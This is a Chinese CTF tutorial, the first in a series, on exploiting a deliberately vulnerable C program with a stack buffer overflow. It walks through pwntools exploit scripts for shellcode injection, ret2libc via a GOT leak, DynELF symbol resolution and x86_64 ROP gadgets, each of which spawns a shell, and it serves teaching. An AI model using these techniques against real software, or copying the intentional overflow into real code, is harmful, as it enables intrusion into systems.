安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】跟我入坑PWN第一章

http://p9.qhimg.com/t0187e73d55d2c616b5.jpg


传送门


【技术分享】跟我入坑PWN第二章


0x00 背景     


随着CTF相关事业发展的越来越火很多朋友都想入坑CTF。但是网络上关于pwn的相关资料较少不好找造成了大家学习过程存在中的一些困难。作为bin狗我对我学习pwn的过程中一些姿势进行了总结尽量让大家在学习的过程中少走弯路准备了一系列文章囊括一些知识点包括缓冲区溢出缓冲区溢出的利用方式return to dl resolve 堆溢出off by one格式化字符串漏洞等。

本文默认大家都对pwn的一些原理有所了解所以不在详细赘述pwn的原理而是讲一下利用方法和使用pwntools快速开发exploit的姿势。

本文的测试环境为Ubuntu 14.04 desktop x86-64,使用到的程序为gdb、gdb-peda、gcc、python、pwntools、socat、rp++、readelf。所有的应用都在本文末尾可以下载方式或者下载链接。


0x01 缓冲区溢出简介


本文不再详细赘述缓冲区溢出的原理简单画一个示意图方便大家理解。

 Stackframe
+------------------+
|    parameter     |
+------------------+
|   local var1     |  <- 4 byte
+------------------+
|   local var2     |  <- 8 byte
+------------------+
|   local var2     |
+------------------+
|        ebp       |
+------------------+
|    return addr   |
+------------------+

可以看出这个函数的有一个参数和两个局部变量。因为局部变量和参数会放在函数的栈帧上而且这个栈帧的大小是编译时就确定好的。所以可以看出局部变量1大小是4字节局部变量2的大小是8字节。ebp和return addr是用来保存栈帧基址和函数的返回地址的对程序员透明。如果我们给局部变量2输入16个字节会发生什么呢。

Stackframe
+------------------+
|    parameter     |
+------------------+
|       abcd       |  <- local var1
+------------------+
|       aaaa       |  <- local var2
+------------------+
|       aaaa       |
+------------------+
|       aaaa       |  <- ebp
+------------------+
|       aaaa       |  <- return addr
+------------------+

可以看到因为局部变量2只有8字节大小的内存空间多出来的8字节会覆盖掉ebp和return addr。在这个函数执行完后会返回到aaaa这个地址也就是0x61616161去执行下面的指令如果我们把return addr换成事先部署在内存的恶意指令再把return addr换成这块内存的地址则程序会执行我们实现部署好的恶意指令。这就是缓冲区溢出的基本原理。

下面给出一个存在缓冲区溢出的源码本文的所有实例都是基于这个源码进行编译的。

// filename 1.c
#include<stdio.h>
void func()
{
    char name[0x50];//0x100大小的栈空间
    read(0, name, 0x100);//输入0x200大小的数据
    write(1, name, 0x100);
}
int main()
{
    func();
    return 0;
}


0x02 x86下无任何防护机制


编译方式:

gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack

m32:生成32bit程序需要gcc-multilib(x86机器上编译不用加)

O0:不进行任何优化

fno-stack-protector:不开启canary栈溢出检测

z execstack:开启栈可执行关闭NX

首先寻找多少字节能溢出切刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。

gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

然后让程序跑起来输入这串字符串后程序崩溃。

Stopped reason: SIGSEGV
0x41416741 in ?? ()
gdb-peda$ pattern_offset 0x41416741
1094805313 found at offset: 92

然后确定主机是否开启ASLR。

➜ cat /proc/sys/kernel/randomize_va_space
0

可见主机并没有开启ASLR。也可以使用ldd来看加载动态库时动态库的基址来确定是否开启ASLR。

➜ ldd 1                                                                                            
    linux-gate.so.1 =>  (0xf7ffd000)
    libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
    /lib/ld-linux.so.2 (0x56555000)

再次运行ldd,

➜ ldd 1                                                                                           
    linux-gate.so.1 =>  (0xf7ffd000)
    libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
    /lib/ld-linux.so.2 (0x56555000)

两次libc的基址一样也说明了主机没有开启ASLR。然后我们可以在栈中部署一段shellcode然后让return addr的内容位shellcode的地址注意这块有个坑。gdb调试的时候栈地址和程序运行时不同所以我们需要开启core dump或者attach到运行的程序上来看程序运行时的栈地址。通过ulimit -c unlimited来开启core dump。然后让程序崩溃调试一下core dump来找shellcode的地址。

from pwn import *
io = process("./1")
payload = 'a' * 92
payload += 'bbbb' # eip
payload += 'cccc' # shellcode
io.send(payload)

这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。

#0  0x62626262 in ?? ()
gdb-peda$ print $esp
$1 = (void *) 0xffffd0b0
gdb-peda$ x/wx 0xffffd0b0
0xffffd0b0:    0x63636363

所以eip填入的地址应该是0xffffd0b0。我们修改一下exploit文件shellcode从exploit-db上找的(https://www.exploit-db.com/exploits/13312/):

from pwn import *
io = process("./1")
payload = 'a' * 92
payload += p32(0xffffd0b0)
payload += "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
payload += "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
payload += "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
payload += "\x32\xc1\x51\x69\x30\x30\x74\x69"
payload += "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
payload += "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
raw_input()
io.send(payload)
io.interactive()

运行后成功返回shell,

➜ python 1.py 
[+] Started program './1'
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb0\xff^1ɱ2\x80l\x0e\xff\x80u\xff2Qi00tii0cjo\x8aQT\x8a⚱\x0c΁,\x82\x0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+7z\xbf\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x83\x0\x00\x00\x00\x00\xff\x00P\x83\x0\x00\x00\x00\x00q\x83\x0\x8b\x84\x0\x00\x00\x00T\xff\xa0\x84\x0\x10\x85\x0`\xb1
$ ls
1
1.c
1.py
core

然而在通常情况下系统会开启NX和ASLR这样就给我们编写exploit造成了一定的困难。


0x03 x86开启NX提供libc.so


编译方式:

gcc -m32 1.c -o 2 -O0 -fno-stack-protector

用gdb-peda中的pattern_offset找到刚好覆盖ebp的长度是92因为主机开启了ASLR。因为我们有了libc.so这样只需要泄漏任意一个函数地址就可以计算出运行时system的地址有了system的地址后我们还需要/bin/sh的地址。得到这个地址有两种途径:

1. 调用read写入程序的bss段

2. 计算libc中/bin/sh的地址

在1中/bin/sh在写入bss的情况下,我们随便选择一个函数read去泄露read的地址因此我们需要算出read和system的偏移。使用gdb调试程序运行起来打印一下read的地址和system的地址即可算出偏移。

gdb-peda$ print read
$1 = {<text variable, no debug info>} 0xf7ef1880 <read>
gdb-peda$ print system
$2 = {<text variable, no debug info>} 0xf7e57e70 <system>

计算出read和system的偏移为0x99a10(read_addr – system_addr)有了这个偏移我们还需要得到bss段的地址

➜ readelf -a 2 | grep bss
  [25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1

有了bss段的地址后开始构造exploit,

from pwn import *
io = process("./2")
elf = ELF("./2")
offset = 92
offset_read_system = 0x99a10
addr_bss = 0x0804a024
# leak read address
payload = offset * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['func'])# return to func
payload += p32(1)
payload += p32(elf.got['read'])
payload += p32(4)
io.send(payload)
io.recv(0x100)
read_addr = u32(io.recv(4))
log.success("read address =>{}".format(hex(read_addr)))
system_addr = read_addr - offset_read_system
log.success("system address =>{}".format(hex(system_addr)))
# write "/bin/sh" to bss
payload = offset * 'a'
payload += p32(elf.plt['read'])
payload += p32(elf.symbols['func'])# return to func
payload += p32(0)
payload += p32(addr_bss)
payload += p32(10)
io.send(payload)
sleep(3)
io.send('/bin/sh\x00')
sleep(3)
# invoke system
payload = offset * 'a'
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(addr_bss)
io.send(payload)
io.interactive()

在第三段payload中我们的返回地址是0xdeadbeef这样写只是用来占位。因为在调用system("/bin/sh")其实是新建了一个进程所以不影响shell的返回。

在2中利用libc中/bin/sh的情况如下,其实有了libc就不需要我们构造/bin/sh了libc中就有/bin/sh。

gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f75a8c ("/bin/sh")

然后计算出和read的地址偏移为offset_read_binsh = -0x8420c。payload就变成了两段如下:

from pwn import *
io = process("./2")
elf = ELF("./2")
offset = 92
offset_read_system = 0x99a10
offset_read_binsh = -0x8420c
payload = offset * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['func'])
payload += p32(1)
payload += p32(elf.got['read'])
payload += p32(4)
io.send(payload)
io.recv(0x100)
read_addr = u32(io.recv(4))
log.success("read address =>{}".format(hex(read_addr)))
system_addr = read_addr - offset_read_system
log.success("system address =>{}".format(hex(system_addr)))
binsh_addr = read_addr - offset_read_binsh
log.success("/bin/sh address =>{}".format(hex(binsh_addr)))
payload = offset * 'a'
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)
io.send(payload)
io.interactive()


0x04 x86开启NX不提供libc.so


编译方式:

gcc -m32 1.c -o 3 -O0 -fno-stack-protector

没有libc的情况下就需要pwntools的一个模块来泄漏system地址——DynELF。我们来看看DynELF模块的官方介绍。

Resolving remote functions using leaks.

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

可以看出只要能完成任意地址读就可以解析动态库的符号所以我们只需要构造一个任意地址读取。构造的exploit如下:

from pwn import *
io = process("./3")
elf = ELF("./3")
offset = 92
def leak(address):
    log.info("leak address =>{}".format(hex(address)))
    payload = offset * 'a'
    payload += p32(elf.plt['write'])
    payload += p32(elf.symbols['func'])
    payload += p32(1)
    payload += p32(address)
    payload += p32(4)
    io.send(payload)
    io.recv(0x100)
    ret = io.recv()
    return ret
d = DynELF(leak, elf = ELF('./3'))
system_addr = d.lookup("system", "libc")
log.success("system address =>{}".format(hex(system_addr)))

到这里可以有两种方法写exploit第一种方法是在一次连接里先把/bin/sh写入到bss段再用泄漏出来的system地址来执行第二种方法是泄漏read和system的地址算出偏移。在利用0x02中的写入bss段的方法来写出exploit这里不再赘述。


0x05 x86_64开启NX提供libc.so


编译方式:

gcc 1.c -o 4 -O0 -fno-stack-protector

这里需要注意的是x86和x86_64的函数传参方式有所不同:

1. 在x86中函数的所有参数由右至左依次放如栈中

2. 在x86_64中函数的前6个参数依次放入rdi, rsi, rdx, rcx, r8, r9中超过的部分再放入栈中

因此我们在编写exploit的过程中传参必须用ROP Gadget来完成。这里我们使用rp++来搜索需要的ROP Gadget。因为在我们需要调用的函数有三个参数所以需要pop rdi ret、pop rsi ret和pop rdx ret。但是在搜索的过程中我们只找到了两个gadget。

➜ rp++ -f 4 -r 3 | grep 'pop rdi'
0x00400643: pop rdi ; ret  ;  (1 found)
➜ rp++ -f 4 -r 3 | grep 'pop rsi'
0x00400641: pop rsi ; pop r15 ; ret  ;  (1 found)
➜ rp++ -f 4 -r 3 | grep 'pop rdx'
➜

那么问题来了是否我们就不能完成exploit呢答案是不是这样的。

[----------------------------------registers-----------------------------------]
RAX: 0x100 
RBX: 0x0 
RCX: 0xffffffffffffffff 
RDX: 0x100 
[-------------------------------------code-------------------------------------]
0x4005bb <func+62>:    leave  
=> 0x4005bc <func+63>:    ret    
[------------------------------------stack-------------------------------------]
0x00000000004005bc in func ()
gdb-peda$

可以看到在func函数return的时候rdx的值是0x100远大于我们需要的rdx的值。在输入的情况下输入EOF即可在输出的情况下舍弃多余的输出即可。

在x86_64下用0x01的方法可能需要变通下因为EIP到不了高地址。

[----------------------------------registers-----------------------------------]
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffde58 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nwj\177\300g\270)")
RIP: 0x4005bc (<func+63>:    ret)
[-------------------------------------code-------------------------------------]
0x4005bb <func+62>:    leave  
=> 0x4005bc <func+63>:    ret    
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005bc in func ()

因为栈帧中RBP在RIP的上方8字节所以这次offset应该这样算:

gdb-peda$ pattern_offset 0x3541416641414a41 
3837420264933640769 found at offset: 80

offset = 80 + 8 = 88

接下来我们根据上述知识来构造exploit因为有libc.so所以我们使用libc中的/bin/sh具体的exploit如下:

from pwn import *
io = process("./4")
elf = ELF("./4")
offset = 88
offset_read_system = 0xa5110
offset_read_binsh = -0x91223
pop_rdi_ret = 0x00400643
pop_rsi_r15_ret = 0x00400641
payload = offset * 'a'
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_r15_ret)
payload += p64(elf.got['read'])
payload += 'aaaaaaaa' # padding
payload += p64(elf.plt['write'])
payload += p64(elf.symbols['func'])
io.send(payload)
io.recv(0x100)
read_addr = u64(io.recv(8))
log.success("read address =>{}".format(hex(read_addr)))
system_addr = read_addr - offset_read_system
log.success("system address =>{}".format(hex(system_addr)))
binsh_addr = read_addr - offset_read_binsh
log.success("/bin/sh address =>{}".format(hex(binsh_addr)))
payload = offset * 'a'
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
io.send(payload)
io.interactive()


0x06 本文用到的程序下载方式


gdb: apt-get install gdb

gcc: apt-get install gcc

gdb-peda: https://github.com/longld/peda

pwntools: pip install pwntools

gcc-multilib: apt-get install gcc-multilib

socat: apt-get install socat

rp++: https://github.com/0vercl0k/rp

readelf: apt-get install readelf


0x07 参考文献


一步一步学ROP之linux_x86篇 – 蒸米

一步一步学ROP之linux_x64篇 – 蒸米

二进制漏洞利用与shellcode – 杨坤


传送门


【技术分享】跟我入坑PWN第二章




本文地址:http://bobao.360.cn/learning/detail/3300.html

未经允许不得转载:安全路透社 » 【技术分享】跟我入坑PWN第一章

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册